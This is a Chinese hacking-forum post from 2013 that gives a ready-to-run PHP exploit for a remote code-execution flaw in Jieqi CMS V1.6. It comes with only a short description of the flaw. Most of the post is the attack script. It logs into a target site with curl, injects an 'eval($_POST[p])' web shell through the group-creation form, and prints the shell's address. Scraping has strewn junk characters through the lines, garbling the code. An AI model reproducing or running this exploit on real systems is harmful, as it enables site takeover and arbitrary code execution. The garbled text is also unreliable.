找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2090|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
$ _  D! E" R/ E% u
( d) h& s  p3 `2 a  Q7 h
4 O& H+ w9 H! b0 M该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。5 Y$ {( `. f" u
需要有一个能创建圈子的用户。* }9 ~4 A. C% \/ ^6 B/ A
3 z: ~! h! p5 {5 q
<?php
  {4 r. ^% R& d( X, {) _  K
8 q; N9 ?- b. C" O! ]1 N8 Gprint_r('
$ w! L) B  y, l+---------------------------------------------------------------------------+
/ s2 w+ X) L; `0 \4 ~Jieqi CMS V1.6 PHP Code Injection Exploit! S# L* i9 ^, D! H9 v4 |
by flyh4t
, O- o6 x/ z7 [* W7 x  s( `mail: phpsec at hotmail dot com+ V6 t+ x0 q1 @8 u
team: http://www.wolvez.org
' S# f$ V6 V7 B9 N+ v6 X+---------------------------------------------------------------------------+
% E3 f6 t: i) y( L( T'); /**
9 U5 M3 H4 H' | * works regardless of php.ini settings  u6 g: q( y: e; O: e( Z2 B
*/ if ($argc < 5) { print_r('
  B' ?5 y+ L  H4 J1 m+---------------------------------------------------------------------------+
, _: z4 \& }- \7 O, ^" i/ d; N( Y4 `7 AUsage: php '.$argv[0].' host path username. i- Y+ t; U% `& @$ g: x# {
host:      target server (ip/hostname)
0 I9 |) x9 ^1 D/ @7 }7 Dpath:      path to jieqicms 6 a5 p+ J0 g* V, Y7 i
uasename:  a username who can create group
1 e1 f* W3 U* `4 l5 U( PExample:
* i4 r6 S1 @1 _& m7 b  ophp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password, q2 g# I8 y  F
+---------------------------------------------------------------------------+
. o% R0 G, w2 m! b! G'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961$ n; [. ]! ]! u& d$ M1 M
Content-Disposition: form-data; name="gname"+ u) i* \9 `% L' A* U9 g
; o) r0 V1 C& s- I" \2 g
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t6 R$ l% f! B5 K1 P! h6 a' i8 e4 x
-----------------------------23281168279961
/ O6 b6 O9 f- A1 W3 O/ H$ kContent-Disposition: form-data; name="gcatid"% `9 A! t$ Q% I0 w5 Q

) f6 V) @  F. G6 U/ W, K4 H$ k1
, R" b. l5 ^$ B* _0 S4 @-----------------------------232811682799612 [: c% n, t, v/ K( _5 |
Content-Disposition: form-data; name="gaudit". h+ |) f: H- h: c; @; G( M* W3 f
7 g/ i& I, _2 g! Y$ R4 ]0 y
1
* T' F* h6 l5 a, \# j4 F' K-----------------------------23281168279961
% Q  E0 A3 p& h- j& }Content-Disposition: form-data; name="gbrief"
- N, B! L2 u6 ?, ]8 K   h8 M/ v) u" `' m' F
1, H" v  L6 R0 E
-----------------------------23281168279961--
# v$ Y8 A- j' l'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com6 o5 ?' I5 ?9 h6 a
5 e9 r( S7 N  C1 `: t& U; r2 O
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表